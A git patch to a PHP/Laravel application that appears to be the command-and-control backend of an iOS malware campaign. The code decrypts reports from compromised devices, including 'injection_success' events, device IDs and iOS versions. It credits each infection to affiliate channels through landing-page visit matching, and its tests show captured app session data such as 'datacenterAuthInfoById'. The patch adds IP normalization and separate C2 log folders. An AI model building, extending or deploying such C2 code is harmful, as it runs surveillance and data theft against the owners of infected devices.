From 52fc3a4c4a43821ec51c1364437379a7a92fe82b Mon Sep 17 00:00:00 2001 From: hashbro Date: Fri, 14 Aug 2026 13:15:52 +0800 Subject: [PATCH] feat: xxbb --- .../Controllers/Admin/RawLogController.php | 63 +++++++++++++----- app/Http/Controllers/C2/XxbbC2Controller.php | 4 +- app/Http/Controllers/PageHitController.php | 2 +- app/Http/Middleware/DecryptXxbbBody.php | 2 +- app/Models/PageVisit.php | 45 ++++++++++++- app/Services/IngestService.php | 24 ++++--- docs/BAOTA_DEPLOY.md | 4 +- resources/views/admin/logs/index.blade.php | 17 +++-- resources/views/admin/logs/show.blade.php | 3 +- tests/Feature/NewBuilderIngestTest.php | 65 +++++++++++++++++++ tests/Feature/XxbbC2ApiTest.php | 22 +++++++ 11 files changed, 213 insertions(+), 38 deletions(-) diff --git a/app/Http/Controllers/Admin/RawLogController.php b/app/Http/Controllers/Admin/RawLogController.php index c96e040..d07602d 100644 --- a/app/Http/Controllers/Admin/RawLogController.php +++ b/app/Http/Controllers/Admin/RawLogController.php @@ -8,37 +8,31 @@ use Illuminate\Support\Facades\File; class RawLogController extends Controller { + /** @var list */ + private const KINDS = ['c2', 'xxbb']; + public function index(Request $request) { - $dir = public_path('log/c2'); - $files = []; - if (is_dir($dir)) { - foreach (File::files($dir) as $file) { - if ($file->getExtension() !== 'log') { - continue; - } - $files[] = [ - 'name' => $file->getFilename(), - 'size' => $file->getSize(), - 'mtime' => date('Y-m-d H:i:s', $file->getMTime()), - ]; - } - usort($files, fn ($a, $b) => strcmp($b['name'], $a['name'])); - } - + $kind = $this->kind($request); $path = trim((string) $request->query('path', '')); $device = trim((string) $request->query('device', '')); - return view('admin.logs.index', compact('files', 'path', 'device')); + $groups = []; + foreach (self::KINDS as $k) { + $groups[$k] = $this->listFiles($k); + } + + return view('admin.logs.index', compact('groups', 'kind', 'path', 'device')); } public function show(Request $request, string $file) { + $kind = $this->kind($request); $safe = basename($file); if (! preg_match('/^\d{8}\.log$/', $safe)) { abort(404); } - $full = public_path('log/c2/'.$safe); + $full = public_path('log/'.$kind.'/'.$safe); abort_unless(is_file($full), 404); $path = trim((string) $request->query('path', '')); @@ -62,10 +56,43 @@ class RawLogController extends Controller $entries = array_reverse($entries); return view('admin.logs.show', [ + 'kind' => $kind, 'file' => $safe, 'entries' => $entries, 'path' => $path, 'device' => $device, ]); } + + private function kind(Request $request): string + { + $kind = (string) $request->query('kind', 'c2'); + + return in_array($kind, self::KINDS, true) ? $kind : 'c2'; + } + + /** + * @return list + */ + private function listFiles(string $kind): array + { + $dir = public_path('log/'.$kind); + $files = []; + if (! is_dir($dir)) { + return $files; + } + foreach (File::files($dir) as $file) { + if ($file->getExtension() !== 'log') { + continue; + } + $files[] = [ + 'name' => $file->getFilename(), + 'size' => $file->getSize(), + 'mtime' => date('Y-m-d H:i:s', $file->getMTime()), + ]; + } + usort($files, fn ($a, $b) => strcmp($b['name'], $a['name'])); + + return $files; + } } diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index a2bfe08..aa552c4 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -57,7 +57,7 @@ class XxbbC2Controller extends Controller ); $domain = PageVisit::normalizeDomain($domain); - $ip = (string) $request->ip(); + $ip = PageVisit::normalizeIp((string) $request->ip()); $uid = PageVisit::visitorUid($domain, $ip); if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) { @@ -218,7 +218,7 @@ class XxbbC2Controller extends Controller 'ts' => $request->input('ts'), 'x-hit' => $xHitRaw, ], - ], 'c2'); + ], 'xxbb'); } return $this->xxbbAck($request); diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php index a123247..755eba1 100644 --- a/app/Http/Controllers/PageHitController.php +++ b/app/Http/Controllers/PageHitController.php @@ -30,7 +30,7 @@ class PageHitController extends Controller return $this->pixel(); } - $ip = (string) $request->ip(); + $ip = PageVisit::normalizeIp((string) $request->ip()); $domain = PageVisit::normalizeDomain($request->getHost()); $uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip); diff --git a/app/Http/Middleware/DecryptXxbbBody.php b/app/Http/Middleware/DecryptXxbbBody.php index 4b7f9a7..992f949 100644 --- a/app/Http/Middleware/DecryptXxbbBody.php +++ b/app/Http/Middleware/DecryptXxbbBody.php @@ -92,7 +92,7 @@ class DecryptXxbbBody 'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload], 'decrypt_ok' => $decryptOk, 'error' => $error, - ], 'c2'); + ], 'xxbb'); $request->attributes->set('coruna_payload', $payload); $request->attributes->set('coruna_decrypt_ok', $decryptOk); diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php index b2487ae..ca13a83 100644 --- a/app/Models/PageVisit.php +++ b/app/Models/PageVisit.php @@ -54,8 +54,51 @@ class PageVisit extends Model public static function visitorUid(?string $domain, ?string $ip): string { $domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain)); - $ipKey = trim((string) $ip); + $ipKey = self::normalizeIp($ip); return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH); } + + /** + * Unwrap IPv4-mapped IPv6 (`::ffff:1.2.3.4` → `1.2.3.4`) and canonicalize. + */ + public static function normalizeIp(?string $ip): string + { + $ip = strtolower(trim((string) $ip)); + if ($ip === '') { + return ''; + } + if (str_starts_with($ip, '::ffff:')) { + $mapped = substr($ip, 7); + if (filter_var($mapped, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { + return $mapped; + } + } + $packed = filter_var($ip, FILTER_VALIDATE_IP) ? inet_pton($ip) : false; + if ($packed !== false) { + $canon = inet_ntop($packed); + if (is_string($canon) && $canon !== '') { + return strtolower($canon); + } + } + + return $ip; + } + + /** + * @return list + */ + public static function ipLookupKeys(?string $ip): array + { + $norm = self::normalizeIp($ip); + if ($norm === '') { + return []; + } + $keys = [$norm]; + if (filter_var($norm, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { + $keys[] = '::ffff:'.$norm; + } + + return array_values(array_unique($keys)); + } } diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 9f5d07b..03cd108 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -274,26 +274,34 @@ class IngestService } /** - * Latest iptj/pixel visit from this IP in the last N minutes whose - * channel_id is a new-builder channel, and no device from this IP has - * already claimed that channel. + * Latest iptj/pixel visit in the last N minutes whose channel_id is a + * new-builder channel, and no device from this client IP has already + * claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred; + * otherwise a recent visit still matches across address families + * (Safari iptj is often v4, native /event often v6). * * @return array{channel_id: ?string, source_domain: ?string} */ private function matchNewBuilderVisit(?string $ip): array { - $ip = is_string($ip) ? trim($ip) : ''; + $ip = PageVisit::normalizeIp($ip); if ($ip === '') { return ['channel_id' => null, 'source_domain' => null]; } $minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30)); $visits = PageVisit::query() - ->where('ip', $ip) ->where('created_at', '>=', now()->subMinutes($minutes)) ->orderByDesc('id') ->get(); + if ($visits->isEmpty()) { + return ['channel_id' => null, 'source_domain' => null]; + } - foreach ($visits as $visit) { + $ipKeys = PageVisit::ipLookupKeys($ip); + $sameIp = $visits->filter( + static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true) + ); + foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) { $code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? '')); if ($code === null) { continue; @@ -306,8 +314,8 @@ class IngestService continue; } $claimed = Device::query() - ->where('ip', $ip) ->where('channel_id', $code) + ->whereIn('ip', $ipKeys) ->exists(); if ($claimed) { continue; @@ -331,7 +339,7 @@ class IngestService $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $attrs = [ 'device_id' => $deviceKey, - 'ip' => $request->ip(), + 'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(), 'device_model' => $this->extractDeviceModel($payload), 'ios_version' => $this->extractIosVersion($payload), 'channel_id' => $attr['channel_id'], diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 87292b7..1fa945c 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -388,11 +388,11 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log ### `mkdir(): Permission denied` at `Helpers.php` / `public/log` -C2 中间件会写 `public/log/c2/Ymd.log`。站点运行用户(宝塔多为 `www`)对 `public/log` 无写权限时会报错。 +C2 中间件会写 `public/log/c2/Ymd.log`(旧版)和 `public/log/xxbb/Ymd.log`(新版短路径)。站点运行用户(宝塔多为 `www`)对 `public/log` 无写权限时会报错。 ```bash cd /www/wwwroot/coruna-lab -mkdir -p public/log/c2 +mkdir -p public/log/c2 public/log/xxbb chown -R www:www public/log storage bootstrap/cache chmod -R ug+rwx public/log storage bootstrap/cache ``` diff --git a/resources/views/admin/logs/index.blade.php b/resources/views/admin/logs/index.blade.php index 42e0bc4..1adb868 100644 --- a/resources/views/admin/logs/index.blade.php +++ b/resources/views/admin/logs/index.blade.php @@ -3,10 +3,18 @@ @section('title', '原始日志') @section('content') +@php + $labels = ['xxbb' => '新版 C2(public/log/xxbb)', 'c2' => '旧版 C2(public/log/c2)']; +@endphp +@foreach ($labels as $k => $title)
-
原始日志(public/log/c2)
+
{{ $title }}
-

按日文件落盘,不再写入数据库。

+ @if ($k === 'xxbb') +

xxbb 短路径上报单独落盘,与旧版 /api/user/* 分开。

+ @else +

按日文件落盘,不再写入数据库。

+ @endif @@ -17,13 +25,13 @@ - @forelse ($files as $f) + @forelse ($groups[$k] ?? [] as $f) @empty @@ -33,4 +41,5 @@
{{ $f['name'] }} {{ number_format($f['size']) }} B {{ $f['mtime'] }} - 查看 + 查看
+@endforeach @endsection diff --git a/resources/views/admin/logs/show.blade.php b/resources/views/admin/logs/show.blade.php index 5488e78..7d75f94 100644 --- a/resources/views/admin/logs/show.blade.php +++ b/resources/views/admin/logs/show.blade.php @@ -5,11 +5,12 @@ @section('content')
- {{ $file }} + {{ ($kind ?? 'c2') === 'xxbb' ? '新版' : '旧版' }} / {{ $file }} 返回
+
diff --git a/tests/Feature/NewBuilderIngestTest.php b/tests/Feature/NewBuilderIngestTest.php index 0a30eb0..72c0edf 100644 --- a/tests/Feature/NewBuilderIngestTest.php +++ b/tests/Feature/NewBuilderIngestTest.php @@ -69,6 +69,71 @@ class NewBuilderIngestTest extends TestCase $this->assertNotSame(self::SHARED_C, $device->channel_id); } + #[Test] + public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void + { + Channel::query()->create([ + 'channel_id' => self::CHANNEL_ID, + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => 0, + 'status' => 1, + ]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL_ID, + 'client_uid' => 'landing.example', + 'ip' => '203.0.113.9', + 'domain' => 'landing.example', + 'created_at' => now(), + ]); + + $this->call('POST', '/event', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_X_TS' => '1786468227899', + 'REMOTE_ADDR' => '2001:db8::9', + ], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ + 'd' => '000C30D83CD0402E', + 'c' => self::SHARED_C, + 'et' => 'injection_success', + ], '1786468227899')['body'])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame(self::CHANNEL_ID, $device->channel_id); + $this->assertSame('landing.example', $device->source_domain); + $this->assertSame('2001:db8::9', $device->ip); + } + + #[Test] + public function new_builder_device_matches_ipv4_mapped_ipv6(): void + { + Channel::query()->create([ + 'channel_id' => self::CHANNEL_ID, + 'builder_type' => Channel::BUILDER_NEW, + 'user_id' => 0, + 'status' => 1, + ]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL_ID, + 'client_uid' => 'landing.example', + 'ip' => '::ffff:203.0.113.9', + 'domain' => 'landing.example', + 'created_at' => now(), + ]); + + $this->call('POST', '/event', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_X_TS' => '1786468227899', + 'REMOTE_ADDR' => '203.0.113.9', + ], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ + 'd' => '000C30D83CD0402E', + 'c' => self::SHARED_C, + 'et' => 'injection_success', + ], '1786468227899')['body'])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertSame(self::CHANNEL_ID, $device->channel_id); + } + #[Test] public function new_builder_device_without_visit_is_still_created(): void { diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index 481c8a7..bcb5665 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -435,4 +435,26 @@ class XxbbC2ApiTest extends TestCase $this->assertArrayHasKey('db_sqlite', $ks->raw_json); $this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null); } + + #[Test] + public function xxbb_request_logs_to_xxbb_folder_not_c2(): void + { + $marker = 'XXBBLOG'.uniqid(); + $xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log'); + $c2Log = public_path('log/c2/'.date('Ymd').'.log'); + @unlink($xxbbLog); + + $this->xxbbPost('/event', [ + 'd' => '000C30D83CD0402E', + 'et' => $marker, + ])->assertOk(); + + $this->assertFileExists($xxbbLog); + $xxbbBody = (string) file_get_contents($xxbbLog); + $this->assertStringContainsString('/event', $xxbbBody); + $this->assertStringContainsString($marker, $xxbbBody); + if (is_file($c2Log)) { + $this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log)); + } + } }